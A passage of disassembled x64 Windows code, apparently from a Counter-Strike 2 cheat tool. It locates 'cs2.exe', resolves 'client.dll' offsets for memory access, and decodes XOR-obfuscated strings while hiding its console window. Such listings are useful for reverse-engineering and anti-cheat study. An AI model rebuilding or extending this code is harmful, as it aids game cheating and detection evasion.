add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x49
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x75]
add r8, rax
lea ecx, [r10 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4a
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x76]
add r8, rax
lea ecx, [r10 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4b
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x77]
add r8, rax
lea ecx, [r10 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4c
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x78]
add r8, rax
lea ecx, [r10 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4d
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x79]
add r8, rax
lea ecx, [r10 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r9b
sub al, cl
add al, 0x4e
xor byte [r8], al
movsxd rax, r10d
lea r8, [rsp + 0x7a]
add r8, rax
lea ecx, [r10 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
sub r9b, dl
add r9b, 0x4f
xor byte [r8], r9b
add r10d, 0x1d
lea eax, [r10 - 2]
cmp eax, 0x3a
jl 0x140022690
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x1f4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 5
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, 7
lea rdx, str.cs2.exe
lea rcx, [rsp + 0x60]
call fcn.140003d10
lea rdx, [rsp + 0x60]
call fcn.14001e520
mov r12d, eax
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 5]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x14002369e
lea rax, [rsp + 0x2b0]
mov rsi, r14
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140022cf0
mov rax, qword [0x140107068]
lea r15, [0x140107050]
cmp rsi, rax
ja 0x140022d3b
mov rbx, r15
cmp rax, 0xf
cmova rbx, qword [0x140107050]
mov qword [0x140107060], rsi
mov r8, rsi
lea rdx, [rsp + 0x2b0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140022d4e
lea r9, [rsp + 0x2b0]
mov rdx, rsi
mov rcx, r15
call fcn.14001bc60
mov r8d, 0xb
lea rdx, [0x140094950]
mov rcx, r15
call fcn.14001b320
sub r12d, 1
je 0x14002362f
sub r12d, 1
je 0x140023a5c
cmp r12d, 1
je 0x1400239f6
call fcn.140025fd0
test al, al
je 0x140023751
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x60], xmm0
xor esi, esi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
lea r8d, [rsi + 0xa]
lea rdx, str.client.dll
lea rcx, [rsp + 0x60]
call fcn.140003d10
lea rdx, [rsp + 0x60]
call fcn.14001db20
mov rdx, rax
mov qword [0x140111ea0], rax
mov ecx, dword [0x1400bb3ec]
add rcx, rax
mov qword [0x140111ea8], rcx
mov ecx, dword [0x1400f0364]
add rcx, rax
mov qword [0x140111eb0], rcx
mov ecx, dword [0x1400f0360]
add rcx, rax
mov qword [0x140111eb8], rcx
mov ecx, dword [0x1400f0370]
add rcx, rax
mov qword [0x140111ec8], rcx
mov ecx, dword [0x1400bb3f0]
add rcx, rax
mov qword [0x140111ed0], rcx
mov eax, dword [0x1400f036c]
add rax, rdx
mov qword [0x140111ed8], rax
mov eax, dword [0x1400f0368]
add rax, rdx
mov qword [0x140111ee0], rax
test rdx, rdx
je 0x140023823
mov rax, r15
cmp qword [0x140107068], 0xf
cmova rax, qword [0x140107050]
mov qword [rsp + 0x50], rax
mov rax, qword [0x140107060]
mov qword [rsp + 0x58], rax
call fcn.140082a0c
vmovups xmm0, xmmword [rsp + 0x50]
vmovdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.14001ebc0
nop
lea rcx, [rsp + 0x60]
call fcn.14001f570
movzx ebx, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140022edf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022eda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022eda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400835c4
test bl, bl
je 0x140022fa4
vmovups xmm0, xmmword [0x140094638]
vmovups xmmword [rsp + 0x160], xmm0
vmovsd xmm0, qword [0x140094648]
mov eax, dword [0x140094650]
mov dword [rsp + 0x178], eax
movzx edx, byte [0x140094654]
xor byte [rsp + 0x161], 0x34
xor byte [rsp + 0x162], 0x35
xor byte [rsp + 0x163], 0x36
xor byte [rsp + 0x164], 0x37
xor byte [rsp + 0x165], 0x38
xor byte [rsp + 0x166], 0x39
xor byte [rsp + 0x167], 0x3a
xor byte [rsp + 0x168], 0x3b
xor byte [rsp + 0x169], 0x3c
xor byte [rsp + 0x16a], 0x3d
xor byte [rsp + 0x16b], 0x3e
xor byte [rsp + 0x16c], 0x3f
xor al, 0x4b
mov byte [rsp + 0x178], al
xor byte [rsp + 0x17a], 0x4d
xor byte [rsp + 0x17b], 0x4e
xor dl, 0x4f
mov byte [rsp + 0x17c], dl
lea rdx, [rsp + 0x160]
jmp 0x14002311c
mov rax, r15
cmp qword [0x140107068], 0xf
cmova rax, qword [0x140107050]
mov qword [rsp + 0x50], rax
mov rax, qword [0x140107060]
mov qword [rsp + 0x58], rax
call fcn.140082a0c
vmovups xmm0, xmmword [rsp + 0x50]
vmovdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x160]
call fcn.14001ebc0
nop
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rcx, qword [rsp + 0x160]
call fcn.140082c6c
mov rbx, rax
mov rdx, rax
shr rdx, 0x20
test edx, edx
jne 0x140023903
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x14002306a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023065
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023065
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400835c4
test bl, bl
je 0x14002391e
vmovups xmm0, xmmword [str.p__P_]
vmovups xmmword [rsp + 0x160], xmm0
vmovsd xmm0, qword [0x140094510]
movzx edx, word [0x140094518]
mov word [rsp + 0x178], dx
movzx eax, byte [0x14009451a]
xor byte [rsp + 0x161], 0x34
xor byte [rsp + 0x162], 0x35
xor byte [rsp + 0x163], 0x36
xor byte [rsp + 0x164], 0x37
xor byte [rsp + 0x165], 0x38
xor byte [rsp + 0x166], 0x39
xor byte [rsp + 0x167], 0x3a
xor byte [rsp + 0x168], 0x3b
xor byte [rsp + 0x169], 0x3c
xor byte [rsp + 0x16a], 0x3d
xor byte [rsp + 0x16b], 0x3e
xor byte [rsp + 0x16c], 0x3f
xor dl, 0x4b
mov byte [rsp + 0x178], dl
xor al, 0x4d
mov byte [rsp + 0x17a], al
lea rdx, [rsp + 0x160]
mov byte [rsp + 0x160], 0x43
vmovsd qword [rsp + 0x170], xmm0
xor byte [rsp + 0x16d], 0x40
xor byte [rsp + 0x16e], 0x41
xor byte [rsp + 0x16f], 0x42
xor byte [rsp + 0x170], 0x43
xor byte [rsp + 0x171], 0x44
xor byte [rsp + 0x172], 0x45
xor byte [rsp + 0x173], 0x46
xor byte [rsp + 0x174], 0x47
xor byte [rsp + 0x175], 0x48
xor byte [rsp + 0x176], 0x49
xor byte [rsp + 0x177], 0x4a
xor byte [rsp + 0x179], 0x4c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001b830
mov rdx, r15
cmp qword [0x140107068], 0xf
mov r8, qword [0x140107060]
cmova rdx, qword [0x140107050]
mov rcx, rax
call fcn.140025a60
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
vmovups xmm0, xmmword [str.oPPPVMUN]
vmovups xmmword [rsp + 0x50], xmm0
vpextrb eax, xmm0, 0xf
test al, al
je 0x140023248
mov byte [rsp + 0x50], 0x5c
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor byte [rsp + 0x54], 0x37
xor byte [rsp + 0x55], 0x38
xor byte [rsp + 0x56], 0x39
xor byte [rsp + 0x57], 0x3a
xor byte [rsp + 0x58], 0x3b
xor byte [rsp + 0x59], 0x3c
xor byte [rsp + 0x5a], 0x3d
xor byte [rsp + 0x5b], 0x3e
xor byte [rsp + 0x5c], 0x3f
xor byte [rsp + 0x5d], 0x40
xor byte [rsp + 0x5e], 0x41
xor byte [rsp + 0x5f], 0x42
mov rcx, qword [0x140107060]
lea rdx, [rsp + 0x50]
mov rax, r14
inc rax
cmp byte [rdx + rax], 0
jne 0x140023257
sub r13, rcx
cmp r13, rax
jb 0x140023918
cmp qword [0x140107068], 0xf
cmova r15, qword [0x140107050]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, r15
lea rcx, [rsp + 0x60]
call fcn.140003ba0
nop
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1a0]
call fcn.140024950
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400232f1
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400232ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400232ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400835c4
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
cmp qword [rsp + 0x230], 0
je 0x14002334c
mov byte [0x140111644], 1
lea rcx, [rsp + 0x1b0]
call fcn.140024e20
test rax, rax
jne 0x14002334c
mov rax, qword [rsp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x110], rax
lea rax, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov qword [rsp + 0xb0], rax
lea rax, [0x140016e50]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0x50], rax
mov rax, qword [str._pyiVHI:X]
mov qword [rsp + 0xa0], rax
cmp byte [0x140094487], 0
je 0x140023400
mov byte [rsp + 0xa0], 0x53
xor byte [rsp + 0xa1], 0x34
xor byte [rsp + 0xa2], 0x35
xor byte [rsp + 0xa3], 0x36
xor byte [rsp + 0xa4], 0x37
xor byte [rsp + 0xa5], 0x38
xor byte [rsp + 0xa6], 0x39
xor byte [rsp + 0xa7], 0x3a
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], rsi
lea rax, [rsp + 0xa0]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023430
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x138]
call fcn.140003d10
nop
vmovups xmm0, xmmword [str.p__XC_K]
vmovups xmmword [rsp + 0x160], xmm0
movzx eax, byte [0x140094588]
mov byte [rsp + 0x160], 0x43
xor byte [rsp + 0x161], 0x34
xor byte [rsp + 0x162], 0x35
xor byte [rsp + 0x163], 0x36
xor byte [rsp + 0x164], 0x37
xor byte [rsp + 0x165], 0x38
xor byte [rsp + 0x166], 0x39
xor byte [rsp + 0x167], 0x3a
xor byte [rsp + 0x168], 0x3b
xor byte [rsp + 0x169], 0x3c
xor byte [rsp + 0x16a], 0x3d
xor byte [rsp + 0x16b], 0x3e
xor byte [rsp + 0x16c], 0x3f
xor byte [rsp + 0x16d], 0x40
xor byte [rsp + 0x16e], 0x41
xor byte [rsp + 0x16f], 0x42
xor al, 0x43
mov byte [rsp + 0x170], al
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], rsi
lea rax, [rsp + 0x160]
inc r14
cmp byte [rax + r14], 0
jne 0x140023516
mov r8, r14
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x118]
call fcn.140003d10
nop
lea r9, [rsp + 0xb0]
lea r8, [rsp + 0x138]
lea rdx, [rsp + 0x118]
call fcn.140078300
nop
mov rax, qword [rsp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x19c], edx
lea rcx, [rsp + 0x1b0]
call fcn.1400248e0
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x250]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x198]
cmp rdx, 0xf
jbe 0x1400235fb
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400235f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400235f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400835c4
xor eax, eax
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140083320
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x50]
call fcn.140023b00
movzx edx, byte [rax + 7]
test dl, dl
je 0x140023677
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor dl, 0x3a
mov byte [rax + 7], dl
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
nop
vzeroupper
call fcn.140003aa0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x160]
call fcn.140023ad0
movzx r8d, byte [rax + 0x1c]
test r8b, r8b
je 0x140023733
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor byte [rax + 7], 0x3a
xor byte [rax + 8], 0x3b
xor byte [rax + 9], 0x3c
xor byte [rax + 0xa], 0x3d
xor byte [rax + 0xb], 0x3e
xor byte [rax + 0xc], 0x3f
xor byte [rax + 0xd], 0x40
xor byte [rax + 0xe], 0x41
xor byte [rax + 0xf], 0x42
xor byte [rax + 0x10], 0x43
xor byte [rax + 0x11], 0x44
xor byte [rax + 0x12], 0x45
xor byte [rax + 0x13], 0x46
xor byte [rax + 0x14], 0x47
xor byte [rax + 0x15], 0x48
xor byte [rax + 0x16], 0x49
xor byte [rax + 0x17], 0x4a
xor byte [rax + 0x18], 0x4b
xor byte [rax + 0x19], 0x4c
xor byte [rax + 0x1a], 0x4d
xor byte [rax + 0x1b], 0x4e
xor r8b, 0x4f
mov byte [rax + 0x1c], r8b
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
int3
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x60]
call fcn.140023b30
movzx edx, byte [rax + 0x21]
test dl, dl
je 0x140023805
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor byte [rax + 7], 0x3a
xor byte [rax + 8], 0x3b
xor byte [rax + 9], 0x3c
xor byte [rax + 0xa], 0x3d
xor byte [rax + 0xb], 0x3e
xor byte [rax + 0xc], 0x3f
xor byte [rax + 0xd], 0x40
xor byte [rax + 0xe], 0x41
xor byte [rax + 0xf], 0x42
xor byte [rax + 0x10], 0x43
xor byte [rax + 0x11], 0x44
xor byte [rax + 0x12], 0x45
xor byte [rax + 0x13], 0x46
xor byte [rax + 0x14], 0x47
xor byte [rax + 0x15], 0x48
xor byte [rax + 0x16], 0x49
xor byte [rax + 0x17], 0x4a
xor byte [rax + 0x18], 0x4b
xor byte [rax + 0x19], 0x4c
xor byte [rax + 0x1a], 0x4d
xor byte [rax + 0x1b], 0x4e
xor byte [rax + 0x1c], 0x4f
xor byte [rax + 0x1d], 0x50
xor byte [rax + 0x1e], 0x51
xor byte [rax + 0x1f], 0x52
xor byte [rax + 0x20], 0x53
xor dl, 0x54
mov byte [rax + 0x21], dl
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
int3
lea edx, [rsi + 4]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x60]
call fcn.140023b50
movzx edx, byte [rax + 0x25]
test dl, dl
je 0x1400238e5
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor byte [rax + 7], 0x3a
xor byte [rax + 8], 0x3b
xor byte [rax + 9], 0x3c
xor byte [rax + 0xa], 0x3d
xor byte [rax + 0xb], 0x3e
xor byte [rax + 0xc], 0x3f
xor byte [rax + 0xd], 0x40
xor byte [rax + 0xe], 0x41
xor byte [rax + 0xf], 0x42
xor byte [rax + 0x10], 0x43
xor byte [rax + 0x11], 0x44
xor byte [rax + 0x12], 0x45
xor byte [rax + 0x13], 0x46
xor byte [rax + 0x14], 0x47
xor byte [rax + 0x15], 0x48
xor byte [rax + 0x16], 0x49
xor byte [rax + 0x17], 0x4a
xor byte [rax + 0x18], 0x4b
xor byte [rax + 0x19], 0x4c
xor byte [rax + 0x1a], 0x4d
xor byte [rax + 0x1b], 0x4e
xor byte [rax + 0x1c], 0x4f
xor byte [rax + 0x1d], 0x50
xor byte [rax + 0x1e], 0x51
xor byte [rax + 0x1f], 0x52
xor byte [rax + 0x20], 0x53
xor byte [rax + 0x21], 0x54
xor byte [rax + 0x22], 0x55
xor byte [rax + 0x23], 0x56
xor byte [rax + 0x24], 0x57
xor dl, 0x58
mov byte [rax + 0x25], dl
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
nop
lea r8, [rsp + 0x160]
lea rcx, str.create_directory
call fcn.14001f4a0
nop
call fcn.140003aa0
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x60]
call fcn.140023b80
movzx edx, byte [rax + 0x26]
test dl, dl
je 0x1400239d8
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor byte [rax + 7], 0x3a
xor byte [rax + 8], 0x3b
xor byte [rax + 9], 0x3c
xor byte [rax + 0xa], 0x3d
xor byte [rax + 0xb], 0x3e
xor byte [rax + 0xc], 0x3f
xor byte [rax + 0xd], 0x40
xor byte [rax + 0xe], 0x41
xor byte [rax + 0xf], 0x42
xor byte [rax + 0x10], 0x43
xor byte [rax + 0x11], 0x44
xor byte [rax + 0x12], 0x45
xor byte [rax + 0x13], 0x46
xor byte [rax + 0x14], 0x47
xor byte [rax + 0x15], 0x48
xor byte [rax + 0x16], 0x49
xor byte [rax + 0x17], 0x4a
xor byte [rax + 0x18], 0x4b
xor byte [rax + 0x19], 0x4c
xor byte [rax + 0x1a], 0x4d
xor byte [rax + 0x1b], 0x4e
xor byte [rax + 0x1c], 0x4f
xor byte [rax + 0x1d], 0x50
xor byte [rax + 0x1e], 0x51
xor byte [rax + 0x1f], 0x52
xor byte [rax + 0x20], 0x53
xor byte [rax + 0x21], 0x54
xor byte [rax + 0x22], 0x55
xor byte [rax + 0x23], 0x56
xor byte [rax + 0x24], 0x57
xor byte [rax + 0x25], 0x58
xor dl, 0x59
mov byte [rax + 0x26], dl
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
int3
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x50]
call fcn.140023b20
movzx edx, byte [rax + 7]
test dl, dl
je 0x140023a3e
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor dl, 0x3a
mov byte [rax + 7], dl
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
int3
mov edx, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x50]
call fcn.140023b10
movzx edx, byte [rax + 7]
test dl, dl
je 0x140023aa4
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor byte [rax + 5], 0x38
xor byte [rax + 6], 0x39
xor dl, 0x3a
mov byte [rax + 7], dl
mov rdx, rax
call fcn.14001b830
lea rdx, [0x14001ba00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001f750
int3